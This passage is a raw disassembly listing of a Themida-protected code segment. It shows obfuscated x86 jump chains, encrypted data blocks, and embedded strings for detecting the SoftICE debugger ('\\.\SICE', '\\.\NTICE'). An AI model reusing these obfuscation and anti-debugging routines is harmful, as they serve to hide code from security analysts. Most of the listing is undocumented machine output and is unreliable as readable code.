XREF: Themida_:005A784Dj add ebx, edx jmp loc_5AC641 ; --------------------------------------------------------------------------- loc_5AF8E2: ; CODE XREF: Themida_:005A8574j ; Themida_:005A8A84j add esp, 4 xchg esi, [esp] pop esp push ecx mov ecx, 0E0042A1h inc ecx add ecx, 4D383939h jmp loc_5ACAC0 ; --------------------------------------------------------------------------- loc_5AF8FB: ; CODE XREF: Themida_:005A9D69j pop esp push edi push 4 jmp loc_5ABB2E ; --------------------------------------------------------------------------- loc_5AF907: ; CODE XREF: Themida_:005A471Bj mov ebx, 47AF0236h jmp loc_5A95F4 ; --------------------------------------------------------------------------- loc_5AF911: ; CODE XREF: Themida_:0059AE0Fj add edx, edi add edx, 94A08EBh push 92Eh mov [esp], ecx push 3EF500B9h jmp loc_5A6E38 ; --------------------------------------------------------------------------- loc_5AF92B: ; CODE XREF: Themida_:005A9DDDj add esi, 6AB21CF3h jmp loc_5A0F8B ; --------------------------------------------------------------------------- loc_5AF936: ; CODE XREF: Themida_:005A7B24j dec bl js loc_5A1B84 sub bl, 43h and dh, bl mov bx, [esp] add esp, 2 push 2A36h mov [esp], edx not byte ptr [esp+1] pop edx jmp loc_5AC95E ; --------------------------------------------------------------------------- loc_5AF95C: ; CODE XREF: Themida_:0059E74Aj inc ebp jmp loc_59EA6D ; --------------------------------------------------------------------------- loc_5AF962: ; CODE XREF: Themida_:005A5DA4j pop si push edi mov di, 2928h shl di, 3 jmp loc_59F8E8 ; --------------------------------------------------------------------------- loc_5AF972: ; CODE XREF: Themida_:005A0421j mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A5A98 ; --------------------------------------------------------------------------- loc_5AF98C: ; CODE XREF: Themida_:005ABBB6j push ebp mov ebp, 6A112506h shr ebp, 3 xor ebp, 69C97AA1h dec ebp xor ebp, 93856E84h sub ebx, ebp pop ebp or edi, ebx pop ebx jmp loc_5A8AF7 ; --------------------------------------------------------------------------- loc_5AF9AD: ; CODE XREF: Themida_:0059E318j add ecx, 25D21BF5h add ecx, 0D6DDF7EAh mov edi, ecx pop ecx sub ebp, 6D307666h add ebp, edi add ebp, 6D307666h pop edi jmp loc_5A44D7 ; --------------------------------------------------------------------------- loc_5AF9D0: ; DATA XREF: Themida_:005987D0o mov eax, [esp] jmp loc_5A10A8 ; --------------------------------------------------------------------------- loc_5AF9D8: ; CODE XREF: Themida_:0059D79Dj jmp loc_5A4A94 ; --------------------------------------------------------------------------- byte_5AF9DD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00598724o dd 4EC8124h, 89000000h, 7DE9243Ch db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AF9EF: ; CODE XREF: Themida_:005A59ECj push ecx pop eax pop ecx pop ebp xor edi, eax mov eax, [esp] add esp, 4 jmp loc_5A8FFD ; --------------------------------------------------------------------------- loc_5AFA00: ; CODE XREF: Themida_:005ACE0Dj pop ecx push dword ptr [esp] jmp loc_5A4835 ; --------------------------------------------------------------------------- loc_5AFA09: ; CODE XREF: Themida_:00599577j push ebx push ebp push edi mov edi, 55C65828h mov ebp, 967F72AAh sub ebp, edi pop edi jmp loc_5A1F70 ; --------------------------------------------------------------------------- loc_5AFA1E: ; CODE XREF: Themida_:005AC976j shl ebx, 1 jnp loc_5A284C add ebx, 26680828h jb loc_59D28E mov dl, al pop ecx loc_5AFA35: ; CODE XREF: Themida_:005A0742j shl ebp, 5 jns loc_5AF512 or ebp, 420F1EF0h jge loc_5A34B2 and ebp, 53AC06A5h jmp loc_59AE14 ; --------------------------------------------------------------------------- loc_5AFA55: ; CODE XREF: Themida_:005A99AAj xor eax, edx pop edx jmp loc_59B732 ; --------------------------------------------------------------------------- loc_5AFA5D: ; CODE XREF: Themida_:0059C73Ej push 1E08h mov [esp], ebp mov ebp, 1C606463h push edx mov edx, 578F4295h jmp loc_5A33BB ; --------------------------------------------------------------------------- loc_5AFA75: ; CODE XREF: Themida_:0059EA99j sub ebx, 4 xchg ebx, [esp] jmp loc_5ACBED ; --------------------------------------------------------------------------- loc_5AFA83: ; CODE XREF: Themida_:005AA6BEj pop edx or esi, 7E184380h push edi mov edi, 1647488Ah jmp loc_59A9BE ; --------------------------------------------------------------------------- loc_5AFA95: ; CODE XREF: Themida_:005AA412j sub ebx, 6671B7ACh mov ebp, ebx pop ebx add edi, ebp jmp loc_59D9CE ; --------------------------------------------------------------------------- loc_5AFAA5: ; CODE XREF: Themida_:0059A025j add ebx, 4 jmp loc_5AEC9E ; --------------------------------------------------------------------------- loc_5AFAB0: ; CODE XREF: Themida_:0059CFC2j ; Themida_:0059F9CFj mov ah, 0D8h sub dh, ah pop eax mov bl, dh push dword ptr [esp] pop edx jmp loc_5A4DEA ; --------------------------------------------------------------------------- loc_5AFAC0: ; CODE XREF: Themida_:0059AD89j xchg eax, [esp] mov esp, [esp] add ebp, 4 add ebp, 2 xchg ebp, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_5A9663 ; --------------------------------------------------------------------------- loc_5AFAE0: ; CODE XREF: Themida_:005A3D1Fj add ecx, 40B5225h not ecx jmp loc_5A6923 ; --------------------------------------------------------------------------- loc_5AFAED: ; CODE XREF: Themida_:005A017Bj sub edx, 582E4573h shl edx, 4 xor edx, 52D61CA2h shr edx, 2 sub edx, 0B4156A90h mov edi, edx pop edx sub eax, edi jmp loc_59F408 ; --------------------------------------------------------------------------- loc_5AFB0F: ; CODE XREF: Themida_:loc_5A87CEj jmp loc_5A3481 ; --------------------------------------------------------------------------- loc_5AFB14: ; CODE XREF: Themida_:0059DA34j pop esi sub esp, 4 jmp loc_5A88EC ; --------------------------------------------------------------------------- loc_5AFB1D: ; CODE XREF: Themida_:005AEE13j mov [esp], edx mov dl, 0CFh dec dl jmp loc_59E5D3 ; --------------------------------------------------------------------------- loc_5AFB29: ; CODE XREF: Themida_:005ADC79j not esi xor esi, 574F76AAh or esi, 5BC77486h jmp loc_59C463 ; --------------------------------------------------------------------------- loc_5AFB3C: ; CODE XREF: Themida_:005A2E12j shl edx, 3 jmp loc_5AB1E7 ; --------------------------------------------------------------------------- loc_5AFB44: ; CODE XREF: Themida_:005A9476j push ecx mov ecx, 4 add edx, ecx pop ecx sub esp, 4 jmp loc_598E5C ; --------------------------------------------------------------------------- loc_5AFB55: ; CODE XREF: Themida_:005A96FDj pop esi jmp loc_5A86C6 ; --------------------------------------------------------------------------- loc_5AFB5B: ; CODE XREF: Themida_:005AAA44j shl ch, 3 push ebx mov bh, 50h add bh, 0FFh shr bh, 5 add bh, 4Dh add bh, 75h xor ch, bh pop ebx jmp loc_5A70A6 ; --------------------------------------------------------------------------- loc_5AFB75: ; CODE XREF: Themida_:0059D475j pop ecx movzx eax, ax push small 4B0Fh mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AFB86: ; CODE XREF: Themida_:005A8022j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx jmp loc_59E298 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5A7FB8 ; --------------------------------------------------------------------------- loc_5AFBA2: ; CODE XREF: Themida_:005AC2BDj jmp loc_59CB83 ; --------------------------------------------------------------------------- loc_5AFBA7: ; CODE XREF: Themida_:0059E83Dj add edi, 4 jmp loc_5A9562 ; --------------------------------------------------------------------------- loc_5AFBB2: ; CODE XREF: Themida_:0059EA2Cj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esp, 4 idiv ecx push 1A68h mov [esp], edx push eax pushf jmp loc_5A2C8F ; --------------------------------------------------------------------------- loc_5AFBDC: ; CODE XREF: Themida_:0059FE09j mov [esp], edx mov edx, 0C1E55E3h or edx, 324B392Dh not edx add edx, 0CA360631h sub edi, edx jmp loc_59CACE ; --------------------------------------------------------------------------- loc_5AFBF9: ; CODE XREF: Themida_:005AF1CEj xor eax, 400D22FFh jg loc_59B917 sub eax, 0E8689FDh push edx mov edx, 3890463Fh or eax, edx pop edx shr eax, 3 shr eax, 5 neg eax push edi mov edi, 71A7555Dh xor edi, 1C6E406Fh xor edi, 6D99C89Dh sub eax, 51155365h add eax, edi add eax, 51155365h mov edi, [esp] add esp, 4 push ebp jmp loc_5A6CF3 ; --------------------------------------------------------------------------- loc_5AFC44: ; CODE XREF: Themida_:005AD139j mov ecx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59DDEB ; --------------------------------------------------------------------------- loc_5AFC60: ; CODE XREF: Themida_:005A4C77j pop edi xor ebp, eax mov eax, [esp] add esp, 4 mov esi, ebp pop ebp push esi mov esi, 3E6E4D7Ah sub ebx, esi pop esi add ebx, 70101621h push ecx mov ecx, 5B3500FDh shr ecx, 4 inc ecx sub ecx, 0AD9F22F7h add ebx, ecx pop ecx jmp loc_59C715 ; --------------------------------------------------------------------------- loc_5AFC96: ; CODE XREF: Themida_:005A4089j pop ecx xchg ebp, [esp] mov esp, [esp] jmp loc_5AD47E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_5A4D98 ; --------------------------------------------------------------------------- loc_5AFCB0: ; CODE XREF: Themida_:005ABABAj ; Themida_:005AE721j mov ecx, 2 add eax, ecx mov ecx, [esp] add esp, 4 push esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 sub esi, 4 jmp loc_59FD85 ; --------------------------------------------------------------------------- loc_5AFCEA: ; CODE XREF: Themida_:005A12E5j or esi, eax jmp loc_59D8B1 ; --------------------------------------------------------------------------- loc_5AFCF1: ; CODE XREF: Themida_:00598C8Ej jmp loc_598A6C ; --------------------------------------------------------------------------- loc_5AFCF6: ; CODE XREF: Themida_:005990FDj sub dh, 0BAh sub al, 4Eh jmp loc_5A5EE0 ; --------------------------------------------------------------------------- loc_5AFD00: ; CODE XREF: Themida_:005AA16Cj inc dword ptr [esp] pop ebp jmp loc_5A7526 ; --------------------------------------------------------------------------- loc_5AFD09: ; CODE XREF: Themida_:005A1AC2j jmp loc_59A4E1 ; --------------------------------------------------------------------------- loc_5AFD0E: ; CODE XREF: Themida_:005AA2E5j pop edi push esi push edx mov edx, 4 mov esi, edx pop edx add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp or [edi+1Ch], eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AFD3D: ; CODE XREF: Themida_:005A006Cj mov [esp], eax mov al, 0C4h sub ch, al mov eax, [esp] add esp, 4 add al, ch mov ecx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push edx push ebx mov ebx, 576C1735h shr ebx, 3 js loc_59F88A shr ebx, 7 js loc_5A5A90 xor ebx, 0D4CCDFBh mov edx, ebx jmp loc_59F9AC ; --------------------------------------------------------------------------- loc_5AFD80: ; CODE XREF: Themida_:005A7453j mov [esp], ebx push ecx push 2DC25B95h pop ecx jmp loc_5A642A ; --------------------------------------------------------------------------- loc_5AFD8F: ; CODE XREF: Themida_:005A585Aj mov [esp], ebp xor dword ptr [esp], 40927A3h jmp loc_59C9C6 ; --------------------------------------------------------------------------- loc_5AFD9E: ; CODE XREF: Themida_:005A1FE6j ; Themida_:005AD0CCj mov esi, 7E0042DBh jmp loc_5A8C28 ; --------------------------------------------------------------------------- loc_5AFDA8: ; CODE XREF: Themida_:005A4AF1j mov ecx, 4 add ebp, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_5A530F ; --------------------------------------------------------------------------- loc_5AFDC3: ; CODE XREF: Themida_:005AC79Dj mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_59C97B ; --------------------------------------------------------------------------- loc_5AFDD7: ; CODE XREF: Themida_:005A9FB5j pop edx sub eax, 33C75B01h jz loc_59B19E jmp loc_5995A8 ; --------------------------------------------------------------------------- loc_5AFDE8: ; CODE XREF: Themida_:005AABC9j and ah, bh pop bx sub esp, 4 mov [esp], ecx jmp loc_59CDD2 ; --------------------------------------------------------------------------- loc_5AFDF7: ; CODE XREF: Themida_:0059A774j sub cl, 0A6h pop ax xor cl, 59h or cl, 0AEh sub cl, 44h add bl, cl pop ecx mov ecx, [esp] add esp, 4 pop eax add bl, 1Fh sub bl, al sub bl, 1Fh jmp loc_59FD16 ; --------------------------------------------------------------------------- loc_5AFE1C: ; CODE XREF: Themida_:005A3AF0j mov ecx, 4 sub esi, ecx pop ecx xor esi, [esp] xor [esp], esi jmp loc_5AAFFC ; --------------------------------------------------------------------------- loc_5AFE2F: ; CODE XREF: Themida_:00598D8Aj add edx, ebx sub edx, 7FE030F0h pop ebx xchg edx, [esp] pop esp push eax mov eax, esp jmp loc_59E151 ; --------------------------------------------------------------------------- loc_5AFE44: ; CODE XREF: Themida_:0058B04Fj call near ptr loc_5AFE5B+1 popf insb push 0B75CB0D6h cwde sub al, 2Dh xchg esi, ebp fstp qword ptr [edx-6DE1FAAEh] loc_5AFE5B: ; CODE XREF: Themida_:loc_5AFE44p test al, 0Fh add dword ptr [ecx], 0F8000000h pop ebx pusha mov dx, 794Bh push eax cmc pop ebx popa add ebx, 5DA7h jmp loc_5AFE8C ; --------------------------------------------------------------------------- dd 0CF83C50Fh, 0F9A6E1BFh, 565F9860h, 12C9BD1Eh, 0FF9BD78Ah ; --------------------------------------------------------------------------- loc_5AFE8C: ; CODE XREF: Themida_:005AFE73j mov ecx, 3DA0767Bh add ecx, 0C25FA0BDh push ecx mov esi, 29974118h pop eax loc_5AFE9E: ; CODE XREF: Themida_:005AFEFAj push dword ptr [ebx] mov esi, [ebp+7FA2BF5h] pop edi mov esi, edx xor edi, 5DDE2FC8h mov ax, di sub edi, 3C2B9A0Bh pusha mov [ebp+7FA068Dh], eax mov edi, edx popa xor edi, 7D4E1C66h movzx edx, di push edi sub [ebp+7FA25A9h], eax pop dword ptr [ebx] mov ah, 0A0h sub ebx, 3 push edi add dl, 0EFh pop esi dec ebx jmp loc_5AFEF4 ; --------------------------------------------------------------------------- dd 414B4A6Fh, 0AE3B4BF4h, 0EB400760h, 0C0617301h ; --------------------------------------------------------------------------- loc_5AFEF4: ; CODE XREF: Themida_:005AFEDFj sub ecx, 1 jnz loc_5AFE9E jmp loc_5AFF14 ; --------------------------------------------------------------------------- db 6Eh, 5Ah, 0EDh dd 0FD3AA3DFh, 8F60A666h, 4DB3FE3Dh ; --------------------------------------------------------------------------- loc_5AFF14: ; CODE XREF: Themida_:005AFF00j jmp loc_5AFF5E ; --------------------------------------------------------------------------- db 0A4h, 0F2h, 20h dd 4553551Ah, 2E323352h, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch, 3000207h dd 4001B00h, 1A002B00h, 16B00h, 3 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AFF5E: ; CODE XREF: Themida_:loc_5AFF14j jmp loc_5B0791 ; --------------------------------------------------------------------------- push 7FCCBFFh jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FCCC83h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FCCD60h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FCCE91h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FCCF17h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FCD024h jmp loc_58B334 ; --------------------------------------------------------------------------- push 7FCD092h jmp loc_58B334 ; --------------------------------------------------------------------------- db 0Fh, 7, 97h dd 405EB461h, 0E6B85D0Ah, 920C03B0h, 3C62AF5Ch, 361DD206h dd 0E08DC3DBh, 87346A34h, 32DF1589h, 0B887BDE1h, 4DE14460h dd 0A90F07E3h, 0BE687BF2h, 0B00595CBh, 39D62E5Fh, 0E28F8E19h dd 1FC5EE79h, 8E696B87h, 0F44D07E0h, 0A2D553B7h, 4DA2E1BAh dd 63CDCAC3h, 3D80E910h, 0BCCD2ED4h, 36F814A4h, 1CE60183h dd 6A1F38C3h, 0C54A66F6h, 0EFE1BBBCh, 7EE7B75Ah, 0B759AEEEh dd 87666DE7h, 39C7E5A9h, 712DE693h, 19858E3Bh, 0B93E5F5Bh dd 0D675B047h, 6A1h, 0F82E70A6h, 0A1D7C74Bh, 477D21F4h dd 0F329759Ah, 9DD3CB46h, 46CBB469h, 9F752258h, 0F41CC9FFh dd 4CC774AAh, 0F54D1C52h, 0E34E76D9h, 7F369C07h, 0A7326CA7h dd 910D0257h, 61FF8AEBh, 43A9A7D1h, 5A9106ECh, 75001CB4h dd 1C07E355h, 0E4E9A1F2h, 9E445EF0h, 2C6CFC55h, 0EE273BD7h dd 93BC47B0h, 0CED040EDh, 7925EB98h, 0C9499EEEh, 0AB305BD5h dd 0FB39A773h, 336BA855h, 65B08375h, 0E685C09Eh, 61Dh dd 7CB2EC2Ah, 255B43CFh, 0CB019D78h, 77ADF11Eh, 215747CAh dd 0C24F38EDh, 1BF9A6DCh, 70A04D83h, 0C84BF82Eh, 79D1A0D6h dd 0E34EFA5Dh, 0BC22807h, 0A7326CA7h, 42CDD142h, 8D92BC44h dd 0A0B2D05Ch, 25DF6006h, 74A1E61Eh, 498438h, 0A7150000h dd 4DA2326Ch, 2750DBC3h, 0E08C4381h, 0FFE68379h, 8392D043h dd 1B7CB21Bh, 4662F26Eh, 7E0F5DAh, 0DB1BAB04h, 86118D86h dd 60AB75Dh, 0A6936387h, 3753AC26h, 7E0A5D4h, 0D740A902h dd 821CF4A1h, 58758F7h, 0A7F10000h, 8EA7326Ch, 0BF223EFBh dd 0E5FFE683h, 7793238Ch, 7E08825h, 0F5A2D831h, 0E94A801Eh dd 0F030C0A0h, 9C27779Bh, 0D959CD73h, 0FD0FDD52h, 51BF14A4h dd 0A66A174Dh, 0B086DF8h, 0CF35D593h, 0DB16999Fh, 5403Ch dd 8F0F0700h, 3866AC59h, 0DEC05502h, 8A14FBA8h, 346AA754h dd 2E15CAFEh, 0D885BBE3h, 7F2C623Ch, 2AD70D91h, 0B07FB5E9h dd 50D93C58h, 0A10707E3h, 0F66CA7EAh, 0CEF7821Ch, 4DB6E829h dd 0E8B65DC2h, 811DF85Dh, 1E8091F6h, 540E4F93h, 43FD6EACh dd 0E6853E98h, 8F0F00FFh, 91235E26h, 1CC33874h, 73FFFFFFh dd 6D31DE33h, 0E6799E01h, 0DB6BC4FFh, 0E6795CBFh, 8B318AFFh dd 0AA67BCD4h, 72A14EF4h, 188A12Ch, 43ACF223h, 6F8789B3h dd 748120CAh, 0A81A36CEh, 2E07E185h, 98237B99h, 80C92C48h dd 9EF707E1h, 0FE96CC35h, 0A84F65D4h, 0AA5071FCh, 90204049h dd 0DB9EFA74h, 48FE80Fh, 0E75E72D8h, 41FB7CFFh, 7566023Ah dd 177A038h, 7B310000h, 95CBBE68h, 89E7E905h, 72CB07E0h dd 0A653D135h, 3257E1BAh, 0C8499E2Eh, 0BCE231D6h, 0CA620831h dd 0A5ECAEh, 0F681DAE6h, 24B4ACDDh, 0BAD08308h, 48D831E1h dd 0EE7E20F3h, 0E7B759AEh, 64C7335Ch, 92DE06ABh, 0FD8816FDh dd 87C56BD4h, 245439DAh, 0E6416721h, 846E2C95h, 0A547B95Ch dd 40FCB6Ah, 0DE380000h, 35DD8AC0h, 8F863369h, 0E32CD90Fh dd 39D885BBh, 46FB2F65h, 0B4EAB45Dh, 5B910D07h, 63C62AEh dd 0AEE4BA59h, 86B87DFh, 2E07E351h, 96F311C8h, 0A5FA3ACAh dd 1A8E346Ah, 7E34EA7h, 188689DEh, 75BE648Dh, 224C8C1Ch dd 0C6C17B7Eh, 4BAE1AC6h, 7907E2C0h, 8DE27A20h, 6935DF83h dd 925B5DEh, 7E2C0A6h, 0D40A73CCh, 9A86123Ch, 84BD30C9h dd 0BFDF31DEh, 5A44CF34h, 6533C89Ch, 0EF8EC99Eh, 389h dd 104658BEh, 0B9EFAF63h, 5F95090Ch, 0B415DB2h, 0B5EBB35Eh dd 2EE3CC81h, 878D3A70h, 0DC34E117h, 34DF8CC2h, 0D65346Ah dd 0E3528EF1h, 974EB407h, 0EF0B6CA7h, 0FFE6838Ch, 6DF861BAh dd 7AA0F31Dh, 524A3AE3h, 2D56E1BDh, 0A2711EC4h, 27371FCh dd 45439D48h, 6F37FFE7h, 38755134h, 5549C81Dh, 1AFBA1CAh dd 0FFFFFD5Fh, 326CA7ABh, 0C5C84DA2h, 231A6EEh, 62ED56A6h dd 0E7009339h, 122EBEA2h, 7E0CA68h, 57EF257Eh, 0E98F0F02h dd 0B9637B32h, 0AB0090D0h, 0FB933965h, 0E089DDDFh, 6090BA07h dd 1E59A363h, 65BE07ADh, 0F513ABD5h, 96064256h, 0EF7A24F1h dd 77DB20C6h, 0AFF8722Ah, 5EB76D1Ch, 0F247D740h, 0D2EE7E20h dd 0AFD3926Fh, 0FE963C95h, 0CD9B20E2h, 62ED46B7h, 90204049h dd 0F7C4EF74h, 415DDDAFh, 0AFD3C0DEh, 0B242AB04h, 0AAF41D72h dd 0E2BC5704h, 6EA14ACh, 48F5493Fh, 1DF6A349h, 0BFE5C381h dd 0ABE63674h, 27C0Ch, 534BCB00h, 0FCA2701Dh, 0A2FC19C6h dd 4E50BF6Ch, 0F8A66B18h, 0F2D98EC2h, 9C497F1Fh, 43F02678h dd 0EE9BD1CDh, 74437925h, 539D001Ch, 5DC307E3h, 0A967BCA6h dd 9B416AF5h, 81114F3Ah, 0E34DFC65h, 191EA07h, 0FAA46CC1h dd 0E34D2B8Eh, 5A005907h, 0FBA36DC2h, 95F818C5h, 4290D74Dh dd 0A22D9649h, 0AC8D63Dh, 9E65BF4Ah, 0E49E823h, 39000002h dd 0DE8BC1DDh, 87346A34h, 2DDA108Eh, 0D986BCE2h, 0FC306638h dd 0EDB16047h, 940A0AB7h, 3F5FB15Eh, 0E7B75C09h, 6E8AE2B1h dd 7E3530Bh, 0F31CD339h, 1E3ACA96h, 7E34EB5h, 1C46D62Fh dd 76ACAC69h, 1C828E2Bh, 20750DB3h, 0C61BABF3h, 6FAD534Bh dd 187B97D7h, 3E07E324h, 0AFDE3FE5h, 0B40D29B9h, 0D207E324h dd 8889EE79h, 0CC318B16h, 74C95945h, 1E5C029Ch, 898D0BDh dd 0E32491ECh, 0CB56AF07h, 0B3EB267Bh, 7D85FF28h, 3E8BC05Ah dd 878C39DFh, 0E2328C17h, 751B838Dh, 1D534BC8h, 0B1EAA370h dd 55C8F4C8h, 0CE23B31Ch, 0A7D05B43h, 0E88E1002h, 7F75C455h dd 1E830E90h, 8D1FAAF4h, 7F02AA64h, 9B785C16h, 0E035CD03h dd 0B8E16C32h, 0F0AE6512h, 5B070B60h, 0F37EE7B7h, 0B2EC25CAh dd 0FD14790Ch, 0C9FA16A1h, 0B6E82B0Fh, 603ED380h, 0C6DBA6D0h dd 0F17C22F3h, 35E74EC8h, 7102953Bh, 0B6E82C22h, 4F4FC62Bh dd 0BD77A8C4h, 6F299215h, 0E218868Bh, 37C2DC35h, 1E8092E7h dd 17C46A93h, 0C015A5F9h, 12A54B53h, 0B99D5780h, 63104658h dd 3904DDB0h, 0F07C9C47h, 0AFD0FC87h, 44C056DDh, 967D611Bh dd 103AD208h, 0C7F1CFAEh, 48670A29h, 2FEA41BBh, 28EB983Eh dd 719BEB76h, 835D8C1Ah, 0DD32D715h, 0A36E1BC1h, 0DE1770FBh dd 252B5524h, 0FCB7686Fh, 5BB8650Bh, 0B3600D43h, 0D01060EBh dd 75F651B4h, 28AA46BFh, 0B14C5DEDh, 6836DB70h, 0A54BB4DDh dd 33DF4544h, 4EB7E06Bh, 6F10A2BEh, 3D96C770h, 7DE3A607h dd 2E91ADEDh, 54B85C6Eh, 0A1BD55FBh, 0C0593912h, 47AC3790h dd 0EF9CD2CCh, 0C3EF7A24h, 0DD4BC57Dh, 3A1ED811h, 0F78FC5D9h dd 83389BB7h, 17FAA23Bh, 92D3FC87h, 2DE69339h, 8E81E671h dd 0B3F38510h, 46ECB25Eh, 0EC270BC5h, 44CF7CB2h, 1CA0CA5Ah dd 41BC5F49h, 38D76A10h, 0Dh, 3194B0F0h, 5FA23C3Bh, 0BBA96006h dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h, 89575285h dd 4C781E7h, 83000000h, 3C8704EFh, 2C895C24h, 52A36824h dd 3C890000h, 623C6824h, 34890000h, 192A6824h, 4890000h dd 0CB68B824h, 0C78907FCh, 4EC8358h, 81242489h, 42404h dd 575E0000h, 7C243481h, 8F46181Ah, 0BB530846h, 8, 3381F301h dd 46181A7Ch, 24348B5Bh, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0A5E95C24h dd 10FFFDABh db 0CFh ; --------------------------------------------------------------------------- loc_5B0791: ; CODE XREF: Themida_:loc_5AFF5Ej mov eax, 7FCD2C5h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 89F4h dd 0E17426E7h, 0B8AD3E4Ah, 51713B5Eh, 1CF014B4h, 818820F2h dd 0B7665412h, 309B5DCFh, 361C5019h, 0A5A8196Fh, 70412E26h dd 8CE9675Bh, 60000000h, 18D9BD83h, 0F0007FAh, 584h, 77E900h dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 14E9h dd 0A1858D00h, 9007FA1Fh, 50969050h, 0FF006A96h, 0FA2AE595h dd 0C6C36107h, 0FA066585h, 2F684D07h, 818A06ACh, 0CA792404h dd 0B5FF1A2Eh, 7FA0515h, 3AE2858Dh, 0D0FF07FAh, 2AE58589h dd 0BE807FAh, 2C000000h, 0D2EB9BB3h, 0F4B5A4BAh, 0B70F925Fh dd 0C8815EC6h, 444D210Ch, 7485C681h, 858B0000h, 7FA222Dh dd 9589C933h, 7FA0099h, 813134FFh, 193202C0h, 12E85A5Bh dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h dd 55BD29B6h, 5807FA18h, 0CB0CC281h, 0BD8B1279h, 7FA01FDh dd 5D80C281h, 858B583Fh, 7FA0861h, 58E1C281h, 0CF803FFEh dd 0E1489B1h, 4166B866h, 67DB529h, 0E98107FAh, 26846429h dd 0FE9h, 535B4200h, 0ADEC1EF7h, 6131C4B9h, 75EE1116h dd 6425C181h, 89602684h, 0FA0511B5h, 13E907h, 21500000h dd 0E31E249Eh, 579CB740h, 94E8D1FFh, 0C3E836E5h, 0F9816199h dd 0FFFF8C48h, 0FF5E850Fh, 9D09FFFFh, 7FA15B1h, 5C5C1EEBh dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h dd 544E5C2Eh, 454349h, 8D0FC08Bh, 13h, 0EE9h, 0CA0A1400h dd 0E34262D6h, 0C61E9144h, 834A8624h, 0FA2ACDBDh, 9750007h dd 1899BD83h, 740007FAh, 8B535019h, 40FB8C0h, 85890000h dd 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h dd 50177400h, 40FB853h, 85890000h, 7FA20C9h, 0DF139D8Dh dd 0D3FF07FCh, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BADDBC3h, 519589D7h, 0E807FA27h dd 6, 26A47D4Ah, 95893190h, 7FA2131h, 66C08B5Ah, 3352F38Bh dd 0FA170DBDh, 85C65F07h, 7FA0665h, 0E8F98B43h, 4, 0BC8E6EFCh dd 840F5250h, 0 dd 5250310Fh, 11E8h, 1E324900h, 3CC5EEA1h, 5A360766h, 0E97CE5h dd 0F5E8B95h, 5A616031h, 50585A58h, 38B0Fh, 8B660000h dd 24448BF1h, 52505604h, 0FD78B66h, 0EE931h, 39920000h dd 3BC80AE2h, 548529F5h, 320148E9h, 8B5F585Ah, 50606000h dd 0F52505Eh, 61585A31h, 890F57h, 5A000000h, 24448961h dd 0B5FF5804h, 7FA08A5h, 8DF78B66h, 0FA3AE285h, 18C0F07h dd 0F5000000h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0A2E4D0C3h, 7AAA2B60h, 0FAD8589h dd 0E99007FAh, 0Dh, 1DF81138h, 485BA135h, 9829FE73h, 8B9050DEh dd 0FA2801BDh, 81B58B07h, 6A07FA22h, 89958900h, 0E807FA2Bh dd 4, 80h, 34E864BFh, 448B5060h, 0B2600424h, 5840F76h dd 0BA000000h, 6E571214h, 8B008B61h, 244489CFh, 68F0F04h dd 0F000000h, 86h, 66515800h, 59E773BFh, 8501036Ah, 7FA2A39h dd 8589006Ah, 7FA30F9h, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 4DDB55C3h, 1F927F59h dd 89B29F88h, 9E922668h, 5250568Ch, 2BBBBA66h, 585A310Fh dd 24048159h, 33616DDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0FAC35343h, 9D3CCA78h, 0D5159D8Dh, 6E807FCh dd 0F4000000h, 0B0D5F41Bh, 0B2935EC5h, 0E86050BFh, 7, 6F9C6FADh dd 8B034DB5h, 7E959D8h, 44000000h, 0A54AE936h, 93611DC4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F5C35747h dd 0E98FCC74h, 55CDCA81h, 